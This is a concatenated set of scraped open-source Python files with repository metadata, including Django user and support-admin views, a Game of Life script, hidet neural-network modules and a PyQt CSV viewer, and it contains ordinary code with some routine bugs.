alignment)
9cb938048f68b47602170f1e3f23275c9c1e5941
9594585cc05dded72740774a3d6058971386dd9a
/boss/core/exc.py
80e4e91c50c60fee37aa3030542ce45190324e3a
[ "BSD-3-Clause" ]
permissive
derks/boss
3a22044d9542ba249f95fd7081e86f3451c16134
8b81ddfb9b44dab018329a304a5e5a75fa20b060
refs/heads/master
2021-01-18T05:37:47.894064
2013-06-27T21:01:20
2013-06-27T21:01:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
"""Boss core exceptions module.""" class BossError(Exception): """Generic errors.""" def __init__(self, msg): Exception.__init__(self) self.msg = msg def __str__(self): return self.msg class BossConfigError(BossError): pass class BossRuntimeError(BossError): pass class BossArgumentError(BossError): pass class BossTemplateError(BossError): pass
9bf5e88c23ba62c7ced22432faab87c0a1c3156b
7a73fef9ae426c48573bae41447cef7cb2b97bf6
/dynamicserialize/dstypes/com/raytheon/uf/common/activetable/request/MergeActiveTableRequest.py
b3377e84d97d8c41ce0f2b475a4807acc2653016
[ "LicenseRef-scancode-public-domain", "BSD-3-Clause" ]
permissive
mjames-upc/python-awips
7f0a80a04457224c9e195b82a95eef4d9b2b3091
e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c
refs/heads/master
2020-03-31T03:00:49.540816
2018-10-05T23:15:42
2018-10-05T23:15:42
53,707,817
0
0
null
2017-04-12T18:00:59
2016-03-12T01:46:57
Python
UTF-8
Python
false
false
2,304
py
## ## # File auto-generated against equivalent DynamicSerialize Java class class MergeActiveTableRequest(object): def __init__(self, incomingRecords=[], tableName='PRACTICE', site=None, timeOffset=0.0, xmlSource=None, fromIngestAT=False, makeBackups=True): self.incomingRecords = incomingRecords self.site = site self.tableName = tableName.upper() if tableName.upper() in ['OPERATIONAL', 'PRACTICE'] else 'PRACTICE' self.timeOffset = float(timeOffset) self.xmlSource = xmlSource self.fromIngestAT = bool(fromIngestAT) self.makeBackups = bool(makeBackups) def __repr__(self): retVal = "MergeActiveTableRequest(" retVal += repr(self.incomingRecords) + ", " retVal += repr(self.tableName) + ", " retVal += repr(self.site) + ", " retVal += repr(self.timeOffset) + ", " retVal += repr(self.xmlSource) + ", " retVal += repr(self.fromIngestAT) + ", " retVal += repr(self.makeBackups) + ")" return retVal def __str__(self): return self.__repr__() def getIncomingRecords(self): return self.incomingRecords def setIncomingRecords(self, incomingRecords): self.incomingRecords = incomingRecords def getTableName(self): return self.tableName def setTableName(self, tableName): value = tableName.upper() if value not in ['OPERATIONAL', 'PRACTICE']: raise ValueError("Invalid value " + tableName + " specified for ActiveTableMode.") self.tableName = value def getSite(self): return self.site def setSite(self, site): self.site = site def getTimeOffset(self): return self.timeOffset def setTimeOffset(self, timeOffset): self.timeOffset = float(timeOffset) def getXmlSource(self): return self.xmlSource def setXmlSource(self, xmlSource): self.xmlSource = xmlSource def getFromIngestAT(self): return self.fromIngestAT def setFromIngestAT(self, fromIngestAT): self.fromIngestAT = bool(fromIngestAT) def getMakeBackups(self): return self.makeBackups def setMakeBackups(self, makeBackups): self.makeBackups = bool(makeBackups)
7a5c1835b9399907b133264cb54216162991db72
0a775e8d1057b2608a8d46499124105776ff4062
/web/manage.py
c5cff1a9dce87821e9827c52812f60cd4df2e7c3
[ "MIT" ]
permissive
x5g/CubeSolver
f3a1ad6e5e3bd5a2becc10a002d473f2902ec867
451ae8f580038d3840cd9279cbdbcd2c13f5045d
refs/heads/master
2022-07-19T06:59:53.505115
2021-04-30T16:09:47
2021-04-30T16:09:47
217,885,447
1
1
MIT
2022-06-22T02:38:46
2019-10-27T16:44:49
Python
UTF-8
Python
false
false
630
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CubeSolver.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()
5a2be43121e2fbabfc3199ed5c3014b5bf1cd034
803ff496aff9eef77f3186991878b6f16e54ba0a
/customer_support/views.py
83fd375d8b727d67dc000ab4457b99c6ea137792
[]
no_license
gopal1992/ssadmin
c54dae22dd69e48730affc1cdba0c0ee17b1e48c
96370e8fc108843a70b326d5b136be94ae0b3084
refs/heads/master
2016-09-09T22:44:35.003945
2015-01-24T10:15:12
2015-01-24T10:15:12
29,772,729
1
1
null
null
null
null
UTF-8
Python
false
false
18,570
py
# -*- coding: utf-8 -*- from django.contrib import messages from django.core.urlresolvers import reverse from django.shortcuts import render, redirect from django.views.decorators.http import require_http_methods from django.views.generic import TemplateView from django.views.generic.edit import FormView, UpdateView from accounts.services import (create_user_without_password, grant_privilege) from dal.registration import get_list_latest_internal_sid_subscribers from ip_analysis.models import UserSubscriber, Subscriber from service_layer.registration import get_unique_external_sid from user_analysis.models import SubscriberPageAuth, PagesList, PageAuthAction from utils.account import ShieldSquareUserMixin from utils.email import send_templated_email from .forms import (NewSubscriberForm, UpdateSubscriberForm, EditSubscriberForm, NewUserForm, DeActivateSubscriberForm, ReActivateSubscriberForm, SupportSubscriberReportForm,) from .service import send_new_user_email # Create your views here. class NewUserView(ShieldSquareUserMixin, FormView): form_class = NewUserForm template_name = 'new_user.html' def send_email(self, email): msg = u"You have created a new user {}".format(email) send_templated_email(label="customer_support", to=self.request.user.email, context={'user_name':self.request.user,'msg': msg}) def form_valid(self, form): username = form.cleaned_data['username'] email = form.cleaned_data['email'] privilege = form.cleaned_data['privilege'] subscriber = form.cleaned_data['subscriber'] user = create_user_without_password(email, username) if user: grant_privilege(user, privilege) UserSubscriber.objects.create(user=user, subscriber=subscriber) self.send_email(email) # comes from service.py send_new_user_email(self.request, user) messages.success(self.request, u"{} successfully created.".format(email)) return render(self.request, self.template_name) def form_invalid(self, form): return render(self.request, self.template_name, {'form': form}) class NewSubscriberView(ShieldSquareUserMixin, FormView): form_class = NewSubscriberForm template_name = "new_subscriber.html" def send_email(self, name): msg = u"You have created a new subscriber {}".format(name) return send_templated_email(label="customer_support", to=self.request.user.email, context={'user_name':self.request.user,'msg': msg}) def form_valid(self, form): subscriber = form.save(commit=True) self.send_email(subscriber.name) user = create_user_without_password(subscriber.email) if user: send_new_user_email(self.request, user) grant_privilege(user, "admin") UserSubscriber.objects.create(user=user, subscriber=subscriber) messages.success( self.request, u"Successfully created subscriber {}".format(subscriber.name) ) else: messages.error( self.requet, u"Unable to create user {}".format(subscriber.email) ) return render(self.request, self.template_name) return redirect(reverse('support.dashboard')) class UpdateSubscriberView(ShieldSquareUserMixin, UpdateView): model = Subscriber form_class = UpdateSubscriberForm template_name = "update_subscriber.html" def send_email(self, name): msg = u"You have updated subscriber {} details".format(name) return send_templated_email(label="customer_support", to=self.request.user.email, context={'user_name':self.request.user,'msg': msg}) def form_valid(self, form): subscriber = form.save(commit=True) self.send_email(subscriber.name) messages.success(self.request, u"Successfully edited subscriber {}".format( subscriber.name)) return redirect(reverse('support.dashboard')) class EditSubscriberView(ShieldSquareUserMixin, FormView): # view to select to subscriber actual update happens in UpdateSubscriberView form_class = EditSubscriberForm template_name = "edit_subscriber.html" def form_valid(self, form): subscriber = form.cleaned_data['subscriber'] return redirect(reverse('support.update_subscriber', kwargs={'pk': subscriber.internal_sid})) class DeActivateSubscriberView(ShieldSquareUserMixin, FormView): form_class = DeActivateSubscriberForm template_name = "deactivate_subscriber.html" def send_email(self, name): msg = u"You have disabled the subscriber {}".format(name) return send_templated_email(label="customer_support", to=self.request.user.email, context={'user_name':self.request.user,'msg': msg}) def deactivate_all_associated_users(self, subscriber): for user_subscriber in UserSubscriber.objects.filter(subscriber=subscriber): user_subscriber.user.is_active = False user_subscriber.user.save() def form_valid(self, form): subscriber = form.cleaned_data['subscriber'] subscriber.status = 0 subscriber.save() self.deactivate_all_associated_users(subscriber) messages.success(self.request, u"{} is disabled".format(subscriber.name)) self.send_email(subscriber.name) return redirect(reverse('support.dashboard')) class ReActivateSubscriberView(ShieldSquareUserMixin, FormView): form_class = ReActivateSubscriberForm template_name = "reactivate_subscriber.html" def send_email(self, name): msg = u"You have enabled the subscriber {}".format(name) return send_templated_email(label="customer_support", to=self.request.user.email, context={'user_name':self.request.user,'msg': msg}) def deactivate_all_associated_users(self, subscriber): for user_subscriber in UserSubscriber.objects.filter(subscriber=subscriber): user_subscriber.user.is_active = True user_subscriber.user.save() def form_valid(self, form): subscriber = form.cleaned_data['subscriber'] subscriber.status = 1 subscriber.save() self.deactivate_all_associated_users(subscriber) messages.success(self.request, u"{} is enabled".format(subscriber.name)) self.send_email(subscriber.name) return redirect(reverse('support.dashboard')) class SupportSubscriberReportView(ShieldSquareUserMixin, FormView): form_class = SupportSubscriberReportForm template_name = "support_report.html" def form_valid(self, form): subscriber = form.cleaned_data['subscriber'] self.request.session['sid'] = subscriber.internal_sid self.request.session['subscriber_name'] = subscriber.name report_url = form.cleaned_data['reports'] return redirect(report_url) class DashboardView(ShieldSquareUserMixin, TemplateView): template_name = "support_dashboard.html" @require_http_methods(["GET", "POST"]) def add_new_subscriber(request): form = NewSubscriberForm() if request.method == 'GET': return render(request, 'new_subscriber.html', {'form' : form}) form = NewSubscriberForm(request.POST) if form.is_valid(): latest_internal_sid = get_list_latest_internal_sid_subscribers() external_sid = get_unique_external_sid() new_external_sid = str(external_sid[0]) new_sb_external_sid = str(external_sid[1]) sid = Subscriber.objects.create(internal_sid = latest_internal_sid + 2, external_sid = new_external_sid, mini_uuid = new_external_sid.split('-')[3], name = form.cleaned_data['name'], site_url = form.cleaned_data['site_url'], address1 = form.cleaned_data['address1'], address2 = form.cleaned_data['address2'], phone1 = form.cleaned_data['phone1'], phone2 = form.cleaned_data['phone2'], email = form.cleaned_data['email'], status = form.cleaned_data['status'], timezone = form.cleaned_data['timezone'], r_Pagepermin = form.cleaned_data['r_Pagepermin'], r_browserIntgrity = form.cleaned_data['r_browserIntgrity'], r_httpRequestIntegrity = form.cleaned_data['r_httpRequestIntegrity'], r_Aggregator = form.cleaned_data['r_Aggregator'], r_behaviourIntegrity = form.cleaned_data['r_behaviourIntegrity'], mode = form.cleaned_data['mode'], sb_internal_sid = latest_internal_sid + 3, sb_external_sid = new_sb_external_sid, sb_mini_uuid = new_sb_external_sid.split('-')[3] ) SubscriberPageAuth.objects.create(sid = sid, page_id = PagesList.objects.get(id = 1), auth_id = PageAuthAction.objects.get(id = 1 if form.cleaned_data['user_access_page'] else 2)) SubscriberPageAuth.objects.create(sid = sid, page_id = PagesList.objects.get(id = 2), auth_id = PageAuthAction.objects.get(id = 1 if form.cleaned_data['user_analysis_page'] else 2)) SubscriberPageAuth.objects.create(sid = sid, page_id = PagesList.objects.get(id = 3), auth_id = PageAuthAction.objects.get(id = 1 if form.cleaned_data['ip_analysis_page'] else 2)) SubscriberPageAuth.objects.create(sid = sid, page_id = PagesList.objects.get(id = 4), auth_id = PageAuthAction.objects.get(id = 1 if form.cleaned_data['ip_access_page'] else 2)) # Email msg = u"You have created a new subscriber {}".format(sid.name) send_templated_email(label="customer_support", to=request.user.email, context={'user_name':request.user,'msg': msg}) user = create_user_without_password(sid.email) if user: send_new_user_email(request, user) grant_privilege(user, "admin") UserSubscriber.objects.create(user=user, subscriber=sid) messages.success( request, u"Successfully created subscriber {}".format(sid.name) ) else: messages.error( request, u"Unable to create user {}".format(sid.email) ) return render(request, 'new_subscriber.html') return redirect(reverse('support.dashboard')) return render(request, 'new_subscriber.html', {'form' : form}) @require_http_methods(["GET", "POST"]) def update_existing_subscriber(request, pk): form = UpdateSubscriberForm() sid = Subscriber.objects.get(pk = pk) if request.method == 'GET': user_access_page = SubscriberPageAuth.objects.get(sid=sid, page_id = PagesList.objects.get(id = 1)) user_analysis_page = SubscriberPageAuth.objects.get(sid=sid, page_id = PagesList.objects.get(id = 2)) ip_access_page = SubscriberPageAuth.objects.get(sid=sid, page_id = PagesList.objects.get(id = 3)) ip_analysis_page = SubscriberPageAuth.objects.get(sid=sid, page_id = PagesList.objects.get(id = 4)) form = UpdateSubscriberForm( initial = { 'name' : sid.name, 'address1' : sid.address1, 'address2' : sid.address2, 'phone1' : sid.phone1, 'phone2' : sid.phone2, 'status' : sid.status, 'timezone' : sid.timezone, 'pagepermin' : sid.pagepermin, 'pagepersess' : sid.pagepersess, 'sesslength' : sid.sesslength, 'r_Pagepermin' : sid.r_Pagepermin, 'r_pagepersess' : sid.r_pagepersess, 'r_sesslength' : sid.r_sesslength, 'r_browserIntgrity' : sid.r_browserIntgrity, 'r_httpRequestIntegrity' : sid.r_httpRequestIntegrity, 'r_Aggregator' : sid.r_Aggregator, 'r_behaviourIntegrity' : sid.r_behaviourIntegrity, 'mode' : sid.mode, 'user_access_page' : True if user_access_page.auth_id.id==1 else False, 'user_analysis_page' : True if user_analysis_page.auth_id.id==1 else False, 'ip_access_page' : True if ip_access_page.auth_id.id==1 else False, 'ip_analysis_page' : True if ip_analysis_page.auth_id.id==1 else False, }) return render(request, 'update_subscriber.html', {'form' : form, 'internal_sid' : sid.internal_sid, 'external_sid' : sid.external_sid,}) form = UpdateSubscriberForm(request.POST) if form.is_valid(): sid = Subscriber.objects.get(pk = pk) sid.name = form.cleaned_data['name'] sid.address1 = form.cleaned_data['address1'] sid.address2 = form.cleaned_data['address2'] sid.phone1 = form.cleaned_data['phone1'] sid.phone2 = form.cleaned_data['phone2'] sid.status = form.cleaned_data['status'] sid.timezone = form.cleaned_data['timezone'] sid.r_Pagepermin = form.cleaned_data['r_Pagepermin'] sid.r_browserIntgrity = form.cleaned_data['r_browserIntgrity'] sid.r_httpRequestIntegrity = form.cleaned_data['r_httpRequestIntegrity'] sid.r_Aggregator = form.cleaned_data['r_Aggregator'] sid.r_behaviourIntegrity = form.cleaned_data['r_behaviourIntegrity'] sid.mode = form.cleaned_data['mode'] sid.save() user_access_page = SubscriberPageAuth.objects.get(sid = sid, page_id = PagesList.objects.get(id = 1)) user_analysis_page = SubscriberPageAuth.objects.get(sid = sid, page_id = PagesList.objects.get(id = 2)) ip_access_page = SubscriberPageAuth.objects.get(sid = sid, page_id = PagesList.objects.get(id = 3)) ip_analysis_page = SubscriberPageAuth.objects.get(sid = sid, page_id = PagesList.objects.get(id = 4)) user_access_page.auth_id = PageAuthAction.objects.get(auth_action = 1 if form.cleaned_data['user_access_page'] else 0) user_analysis_page.auth_id = PageAuthAction.objects.get(auth_action = 1 if form.cleaned_data['user_analysis_page'] else 0) ip_access_page.auth_id = PageAuthAction.objects.get(auth_action = 1 if form.cleaned_data['ip_access_page'] else 0) ip_analysis_page.auth_id = PageAuthAction.objects.get(auth_action = 1 if form.cleaned_data['ip_analysis_page'] else 0) user_access_page.save() user_analysis_page.save() ip_access_page.save() ip_analysis_page.save() # Email msg = u"You have updated subscriber {} details".format(sid.name) send_templated_email(label="customer_support", to=request.user.email, context={'user_name':request.user,'msg': msg}) messages.success(request, u"Successfully edited subscriber {}".format(sid.name)) return redirect(reverse('support.dashboard')) return render(request, 'update_subscriber.html', {'form' : form, 'internal_sid' : sid.internal_sid, 'external_sid' : sid.external_sid,})
fa828b53566c090450afc3f58298ab733534ac3e
11cf40946c55b47886cfe8777916a17db82c2309
/conways1.py
a2da35410469f1db5aecd4755355f109e8add686
[]
no_license
dalalsunil1986/python_the_hard_way_exercises
fc669bf2f823a4886f0de717d5f1ca0d0233f6af
bc329999490dedad842e23e8447623fd0321ffe0
refs/heads/master
2023-05-03T01:35:24.097087
2021-05-16T00:43:56
2021-05-16T00:43:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,840
py
# Conway's Game of Life import random, time, copy WIDTH = 60 HEIGHT = 20 # Create a list of list for the cells: nextCells = [] for x in range(WIDTH): column = [] # Create a new column. for y in range(HEIGHT): if random.randint(0, 1) == 0: column.append('O') # Add a living cell. else: column.append(' ') # Add a dead cell. nextCells.append(column) # nextCells is a list of column lists. while True: # Main program loop. print('\n\n\n\n\n') # Separate each step with newlines. currentCells = copy.deepcopy(nextCells) # Print currentCells on the screen: for y in range(HEIGHT): for x in range(WIDTH): print(currentCells[x][y], end='') # Print the 'O' or space. print() # Print a newline at the end of the row. # Calculate next step's cells based on current step's cells: for x in range(WIDTH): for y in range(HEIGHT): # Get neighboring coordinates: # '% WIDTH' ensures leftCoord is always between 0 and WIDTH -1 leftCoord = (x - 1) % WIDTH rightCoord = (x + 1) % WIDTH aboveCoord = (y - 1) % HEIGHT belowCoord = (y + 1) % HEIGHT # Count number of living neighbors: numNeighbors = 0 if currentCells[leftCoord][aboveCoord] == '#': numNeighbors += 1 # Top-left neighbor is alive. if currentCells[x][aboveCoord] == '#': numNeighbors += 1 # Top neighbor is alive. if currentCells[rightCoord][aboveCoord] == '#': numNeighbors += 1 # Top-right neighbor is alive. if currentCells[leftCoord][y] == '#': numNeighbors += 1 # Left neighbor is alive. if currentCells[rightCoord][y] == '#': numNeighbors += 1 # Right neighbor is alive. if currentCells[leftCoord][belowCoord] == '#': numNeighbors += 1 # Botton-left neighbor is alive. if currentCells[x][belowCoord] == '#': numNeighbors += 1 # Botton neighbor is alive. if currentCells[rightCoord][belowCoord] == '#': numNeighbors += 1 # Bottom-right neighbor is alive. # Set cell based on Conway's Game of Life rules: if currentCells[x][y] == '#' and (numNeighbors == 2 or numNeighbors == 3): # Living cells with 2 or 3 neighbors stay alive: nextCells[x][y] = '#' elif currentCells[x][y] == ' ' and numNeighbors == 3: # Dead cells with 3 neighbors become alive: nextCells[x][y] = '#' else: # Everthing else dies or stays dead: nextCells[x][y] = ' ' time.sleep(2) # Add 2-second pause to reduce flickering.
c86c98ae72815124b24d3ae32ec5d6a1d90a7dca
324d9bc6747873173cf457d563665f59005c0efc
/apps/users/views.py
ff8c38e6a8d915aa28bdd5f5db1eb3e22a995a8c
[]
no_license
jzxyouok/movie-1
fd220618ce8c03bc3dc33d5b39a81547097653b2
650c05389aaefb84544d2246bf8436bed7157547
refs/heads/master
2020-06-03T16:00:01.479269
2018-05-30T09:22:43
2018-05-30T09:22:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,829
py
from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render from django.urls import reverse from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth import authenticate, login, logout from django.contrib.auth.hashers import make_password from django.views.generic.base import View from django.contrib.auth.backends import ModelBackend from .models import UserProfile, EmailVerifyRecord import json from django.db.models import Q # 并集 from .forms import LoginForm, RegisterForm, ResetPwdForm, UserInfoForm, UploadImageForm, ForgetPwdForm from apps.utils.email_send import send_register_email # Create your views here. class CustomBackend(ModelBackend): """ 重写ModelBackend下的authenticate方法实现邮箱和用户名均可以登录 """ def authenticate(self, request, username=None, password=None, **kwargs): try: user = UserProfile.objects.get(Q(username=username) | Q(email=username)) if user.check_password(password): return user except Exception as e: return None class LoginView(View): # 直接调用get方法免去判断 def get(self, request): redirect_url = request.GET.get('next', '') return render(request, "users/login.html", { "redirect_url": redirect_url }) def post(self, request): login_form = LoginForm(request.POST) # is_valid判断我们字段是否有错执行我们原有逻辑,验证失败跳回login页面 if login_form.is_valid(): # 取不到时为空,username,password为前端页面name值 user_name = request.POST.get("username", "") pass_word = request.POST.get("password", "") # 成功返回user对象,失败返回null user = authenticate(username=user_name, password=pass_word) # 如果不是null说明验证成功 if user is not None: # 只有当用户激活时才给登录 if user.is_active: login(request, user) redirect_url = request.POST.get('next', '') if redirect_url: return HttpResponseRedirect(redirect_url) return HttpResponseRedirect(reverse("index")) else: return render( request, "users/login.html", { "msg": "用户名未激活! 请前往邮箱进行激活"}) # 当用户真的密码出错时 else: return render(request, "users/login.html", {"msg": "用户名或密码错误!"}) # 验证不成功跳回登录页面 # 没有成功说明里面的值是None,并再次跳转回主页面 else: return render( request, "users/login.html", { "login_form": login_form}) class ActiveUserView(View): """ 激活注册用户 """ def get(self, request, active_code): # 查询邮箱验证记录是否存在 all_record = EmailVerifyRecord.objects.filter(code=active_code) if all_record: for record in all_record: # 获取对应邮箱 email = record.email user = UserProfile.objects.get(email=email) user.is_active = True user.save() else: return render(request, 'users/active_fail.html') return render(request, 'users/login.html') class RegisterView(View): """ 注册视图 """ def get(self, request): register_form = RegisterForm() return render(request, "users/register.html", {'register_form': register_form}) def post(self, request): # 实例化生成注册表单 register_form = RegisterForm(request.POST) if register_form.is_valid(): user_name = request.POST.get('email', None) # 如果用户已经存在 if UserProfile.objects.filter(email=user_name): return render(request, 'users/register.html', {'register_form': register_form, 'msg': '用户已经存在'}) pass_word = request.POST.get('password', None) # 实例化UserProfile user_profile = UserProfile() user_profile.username = user_name user_profile.email = user_name # 默认注册后用户是未激活的 user_profile.is_active = False # hash算法加密密码 user_profile.password = make_password(pass_word) user_profile.save() send_register_email(user_name, 'register') messages.success(request, "已经发送了激活邮件,请查收") return render(request, 'users/register.html') else: return render(request, 'users/register.html', {'register_form': register_form}) class ResetPwdView(View): """ 重设密码视图 """ def post(self, request): reset_form = ResetPwdForm(request.POST) if reset_form.is_valid(): username = request.user.username password1 = request.POST.get('password1', '') password2 = request.POST.get('password2', '') if password1 != password2: return render(request, 'users/reset.html', {'msg': '两次输入的密码不一致'}) user = UserProfile.objects.get(username=username) user.password = make_password(password2) user.save() return render(request, 'users/login.html', {'msg': '密码修改成功,请使用新密码登录'}) else: # 密码位数不够 return render(request, 'users/reset.html', {'reset_form': reset_form}) class UserInfoView(LoginRequiredMixin, View): """ 用户中心视图 """ login_url = '/login/' redirect_field_name = 'next' def get(self, request): return render(request, 'users/user.html') def post(self, request): # 修改,增加instance属性 user_info_form = UserInfoForm(request.POST, instance=request.user) if user_info_form.is_valid(): user = UserProfile.objects.get(pk=request.user.id) user.nick_name = user_info_form.cleaned_data['nick_name'] user.gender = user_info_form.cleaned_data['gender'] user.sign = user_info_form.cleaned_data['sign'] user.address = user_info_form.cleaned_data['address'] user.mobile = user_info_form.cleaned_data['mobile'] user.save() return HttpResponseRedirect(reverse('user_info')) else: # 通过json的dumps方法把字典转换成字符串 return HttpResponse( json.dumps(user_info_form.errors), content_type='application/json' ) class UploadImageView(LoginRequiredMixin, View): """ 用户头像修改 """ def post(self, request): image_form = UploadImageForm(request.POST, request.FILES) if image_form.is_valid(): image = image_form.cleaned_data['image'] request.user.image = image request.user.save() # return HttpResponse('{"status": "success"}', content_type='application/json') return HttpResponseRedirect(reverse('user_info')) else: return HttpResponse('{"status": "fail"}', content_type='application/json') class ForgetPwdView(View): """ 找回密码视图 """ def get(self, request): forget_form = ForgetPwdForm() return render(request, 'users/forgetpwd.html', {'forget_form': forget_form}) def post(self, request): forget_form = ForgetPwdForm(request.POST) if forget_form.is_valid(): email = request.POST.get('email', None) send_register_email(email, 'forget') return render(request, 'index.html') else: return render(request, 'users/forgetpwd.html', {'forget_form': forget_form}) class ResetView(View): def get(self, request, active_code): all_records = EmailVerifyRecord.objects.filter(code=active_code) if all_records: for record in all_records: email = record.email return render(request, "users/reset.html", {"email": email}) else: return render(request, "users/active_fail.html") return render(request, "users/login.html") class LogOutView(View): """ 退出登录 """ def get(self, request): logout(request) return HttpResponseRedirect(reverse('index'))
4b3999bceb135ae43088f2acd45fd813a32aa724
330899fd4a9653e05e2a09e0a4f30c119af97ad4
/python/hidet/tos/modules/nn.py
3d1c65c10d426d6b2298130ea875a54bbf014694
[ "Apache-2.0" ]
permissive
yaoyaoding/hidet-artifacts
f8a4707c7fc28aa7bfa4dab3a9f2a9387c020f99
f2e9767bb2464bd0592a8ec0b276f97481f13df2
refs/heads/main
2023-04-30T13:12:57.350002
2023-04-24T19:37:34
2023-04-24T19:37:34
551,692,225
3
1
Apache-2.0
2022-11-01T23:25:17
2022-10-14T22:40:28
Python
UTF-8
Python
false
false
5,063
py
from typing import Optional, Union, List import math from hidet.tos import ops from hidet.tos.common import normalize from hidet.tos.module import Module, Tensor from hidet.tos.tensor import randn, zeros, ones from hidet.tos.modules.container import Sequential, ModuleList class Conv2d(Module): def __init__(self, in_channels, out_channels, kernel_size, padding=0, stride=1, groups=1): super().__init__() self.in_channels = in_channels self.out_channels = out_channels self.kernel = normalize(kernel_size) self.padding = normalize(padding) self.stride = normalize(stride) self.groups = groups self.weight = randn(shape=[out_channels, in_channels, *self.kernel], dtype='float32', stddev=1.0 / math.sqrt(out_channels)) def extra_str(self) -> str: return 'in_channels={}, out_channels={}, kernel_size={}, stride={}, padding={}'.format(self.in_channels, self.out_channels, self.kernel, self.stride, self.padding) def forward(self, x): x = ops.pad(x, ops.utils.normalize_padding(self.padding)) return ops.conv2d(x, self.weight, self.stride, self.groups) class BatchNorm2d(Module): def __init__(self, num_features, eps=1e-5): super().__init__() self.eps = eps self.running_mean = zeros(shape=[num_features]) self.running_var = ones(shape=[num_features]) def extra_str(self) -> str: return 'eps={}'.format(self.eps) def forward(self, x: Tensor): return ops.batch_norm_infer(x, self.running_mean, self.running_var, self.eps) class Linear(Module): def __init__(self, in_features, out_features, bias: bool = True): super().__init__() self.in_features = in_features self.out_features = out_features self.weight = randn(shape=[in_features, out_features], stddev=1.0 / math.sqrt(in_features)) if bias: self.bias = zeros(shape=[out_features]) else: self.bias = None def extra_str(self) -> str: return 'in_features={}, out_features={}'.format(self.in_features, self.out_features) def forward(self, x: Tensor) -> Tensor: return ops.matmul(x, self.weight) + self.bias class Relu(Module): def forward(self, x): return ops.relu(x) class MaxPool2d(Module): def __init__(self, kernel_size, stride=1, padding=0): super().__init__() self.kernel = kernel_size self.stride = stride self.padding = padding def extra_str(self) -> str: return 'kernel_size={}, stride={}, padding={}'.format(self.kernel, self.stride, self.padding) def forward(self, x): return ops.max_pool2d(x, self.kernel, self.stride, self.padding) class AvgPool2d(Module): def __init__(self, kernel_size, stride, padding): super().__init__() self.kernel = kernel_size self.stride = stride self.padding = padding def extra_str(self) -> str: return 'kernel_size={}, stride={}, padding={}'.format(self.kernel, self.stride, self.padding) def forward(self, x): return ops.avg_pool2d(x, self.kernel, self.stride, self.padding) class AdaptiveAvgPool2d(Module): def __init__(self, output_size): super().__init__() self.output_size = normalize(output_size) assert tuple(self.output_size) == (1, 1), 'current only support this' def extra_str(self) -> str: return 'output_size={}'.format(self.output_size) def forward(self, x: Tensor) -> Tensor: n, c, h, w = x.shape return ops.avg_pool2d(x, kernel=(h, w), stride=(1, 1), padding=(0, 0)) class Embedding(Module): def __init__(self, num_embeddings: int, embedding_dim: int): super().__init__() self.num_embeddings = num_embeddings self.embedding_dim = embedding_dim self.weight = randn(shape=[num_embeddings, embedding_dim], dtype='float32', mean=0.0, stddev=1.0) def forward(self, indices: Tensor) -> Tensor: return ops.take(self.weight, indices, axis=0) class LayerNorm(Module): def __init__(self, normalized_shape: Union[int, List[int]], eps: float = 1e-5, elementwise_affine: bool = True): super().__init__() if isinstance(normalized_shape, int): normalized_shape = (normalized_shape,) self.normalized_shape = tuple(normalized_shape) self.eps = eps self.elementwise_affine = elementwise_affine if elementwise_affine: self.weight = ones(normalized_shape) self.bias = zeros(normalized_shape) else: self.weight = None self.bias = None def forward(self, x: Tensor) -> Tensor: x = ops.layer_norm(x) if self.weight: x = x * self.weight if self.bias: x = x + self.bias return x class Gelu(Module): def forward(self, x): return x * (ops.erf(x * (1.0 / 1.4142135381698608)) + 1.0) * 0.5 class Tanh(Module): def forward(self, x): return ops.tanh(x)
a3b7d2043d073baae61c82a62a7baf513e5463d4
117aaf186609e48230bff9f4f4e96546d3484963
/others/FilterTable/main.py
c18d99d897d4e53baba8675c35fbb4fd3a1f0667
[ "MIT" ]
permissive
eyllanesc/stackoverflow
8d1c4b075e578496ea8deecbb78ef0e08bcc092e
db738fbe10e8573b324d1f86e9add314f02c884d
refs/heads/master
2022-08-19T22:23:34.697232
2022-08-10T20:59:17
2022-08-10T20:59:17
76,124,222
355
433
MIT
2022-08-10T20:59:18
2016-12-10T16:29:34
C++
UTF-8
Python
false
false
1,326
py
import csv import sys from PyQt4 import QtGui from PyQt4 import uic from PyQt4.QtCore import QString from PyQt4.QtGui import QTableWidgetItem filter_class = uic.loadUiType("filter.ui")[0] class Filter_window(QtGui.QWidget, filter_class): def __init__(self, parent=None, *args, **kwargs): QtGui.QMainWindow.__init__(self, parent) self.setupUi(self) self.loadAll() def loadAll(self): with open("Rts.csv", "rb") as inpfil: reader = csv.reader(inpfil, delimiter=',') csheader = reader.next() ncol = len(csheader) data = list(reader) row_count = len(data) self.filterall.setRowCount(row_count) self.filterall.setColumnCount(ncol) self.filterall.setHorizontalHeaderLabels(QString('%s' % ', '.join(map(str, csheader))).split(",")) for ii in range(0, row_count): print data[ii] mainins = data[ii] print mainins for var in range(0, ncol): print mainins[var], "\n" self.filterall.setItem(ii, var, QTableWidgetItem(mainins[var])) if __name__ == '__main__': app = QtGui.QApplication(sys.argv) filterwin = Filter_window() filterwin.show() sys.exit(app.exec_())
240e6d72e883cd5d44adc7bc87f9e6646c36762c
aa0270b351402e421631ebc8b51e528448302fab
/sdk/paloaltonetworks/azure-mgmt-paloaltonetworksngfw/generated_samples/post_rules_delete_minimum_set_gen.py
37e8eb6f0bb63131b561033cfb6c8b88a6e137ab
[ "MIT", "LGPL-2.1-or-later", "LicenseRef-scancode-generic-cla" ]
permissive
fangchen0601/azure-sdk-for-python
d04a22109d0ff8ff209c82e4154b7169b6cb2e53
c2e11d6682e368b2f062e714490d2de42e1fed36
refs/heads/master
2023-05-11T16:53:26.317418
2023-05-04T20:02:16
2023-05-04T20:02:16
300,440,803
0
0
MIT
2020-10-16T18:45:29
2020-10-01T22:27:56
null
UTF-8
Python
false
false
1,613
py
